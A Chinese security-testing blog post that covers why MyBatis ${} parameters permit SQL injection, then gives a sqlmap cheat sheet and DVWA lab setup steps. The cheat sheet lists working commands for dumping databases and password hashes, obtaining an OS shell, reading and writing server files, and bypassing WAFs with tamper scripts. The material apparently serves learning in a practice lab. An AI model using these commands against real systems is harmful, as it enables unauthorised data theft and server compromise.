安全测试--补充

MyBatis防止SQL注入

MyBatis防止sql注入的方式
MyBatis会使用PreparedStatement进行预编译,但是当MyBatis中使用${}而不是#{}进行内联参数时,无法阻止sql注入,在MyBatis中,“${xxx}”这样格式的参数会直接参与SQL编译,从而不能避免注入攻击。但涉及到动态表名和列名时,只能使用“${xxx}”这样的参数格式。所以,这样的参数需要我们在代码中手工进行处理来防止注入

SQLMap基础使用

SQLmap使用

  • 需要使用python2.7.x或者2.6.x环境:sqlmap下载地址
  • 判断是否可能存在注入:
    • 是否有可控参数,就是id=1,这个1就是参数
    • 是否阔以再数据库执行
    • 是否可以返回数据
  • 判断是否存在注入:sqlmap.py -u “xxx.com/xxx?id=1”
  • 判断请求数据包中是否存在注入:sqlmap.py -r desktop/38.5wocnm.txt
  • 当sqlmap可以注入时:
    • 查询所有数据库:sqlmap.py -u xxx.com/xxx?id=1 --dbs
    • 获取数据库的表名:sqlmap.py -u xxx.com/xxx?id=1 -D 数据库名称–tables
    • 查询表名的字段名:sqlmap.py -u xxx.com/xxx?id=1 -D 数据库名称 -T 表名 --columns
    • 获取字段内容:sqlmap.py -u xxx.com/xxx?id=1 -D 数据库名称 -T 表名 -C 字段1,字段2 --dump
    • 查询当前网站使用的数据库名称:sqlmap.py -u xxx.com/xxx?id=1 --current-db
    • 获取数据库的所有用户:sqlmap.py -u xxx.com/xxx?id=1 --users
    • 获取数据库用户的密码:sqlmap.py -u xxx.com/xxx?id=1 --password
  • –level 5(探测等级):sqlmap 他有 5 个等级。在我们不用此命令时,我们默认的就是 level 1。sqlmap 使用的 payload 在 xml/payloads.xml 中可以看到,也可以根据对应的格式添加自己的 payload,5 级包含的 payload 最多
  • –is-dba:查询当前用户是否为管理权限
  • –roles 列出数据库管理员角色:该命令会列举出每个用户的角色,也可以使用-U 参数指定想看哪个用户的角色。该命令仅适用于当前数据库是 Oracle 时
  • –referer http refer 头:sqlmap 可以在请求中伪造 http 中的 Referer,当探测等级–level 参数设定为 3 或 3 以上时,会尝试 Referer 注入。如–referer http://www.baidu.com
  • –sql-shell 运行自定义 SQL 语句
  • –os-cmd,–os-shell 执行任意操作系统命令:当数据库为 MySQL、PostgreSQL 或 SQLserver 且当前用户具有权限使用特定函数时该指令生效,但实现的原理有所不同。–os-shell支持asp,asp.net,jsp和php四种语言
    • 网站必须是root权限才能执行
    • 攻击者需要知道网站的绝对路径
  • –file-read 从数据库服务器中读取文件:这个命令用于读取执行文件,数据库为MySQL,postgresql或Microsoft sql server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件
  • –file-write --file-dest 上传文件到数据库服务器
    • 权限必须是dba权限,file-write 从本地写入,file-dest 写入目标路径
    • 数据库为MySQL,postgresql或Microsoft sql server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。
  • sqlmap绕过waf脚本tamper
    • sqlmap自带的绕waf脚本:sqlmap.py -u xxx.com/xxx?id=1 -v 3 --dbs --batch --tamper “space2morehash.py”
    • sqlmap自带的waf脚本路径:C:\Python27\sqlmap1.5.4-12\tamper

DVWA环境搭建

  • 下载phpstudy
  • 默认安装后,启动Apache和mysql,并启动服务
  • 下载DVWA,并解压至phpstudy安装目录的www目录下,进入到…\WWW\DVWA\config路径下,拷贝一份config.inc.php .dist文件,去掉.dist后缀,打开config.inc.php文件,修改数据库名和密码
  • 打开浏览器,在其中输入http://127.0.0.1/DVWA-master/setup.php
  • 点击最下面的“creat/reset database”按钮,坐等几秒,出现登陆界面。
  • 输入账号admin,密码password,登陆成功,可以开始学习啦!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值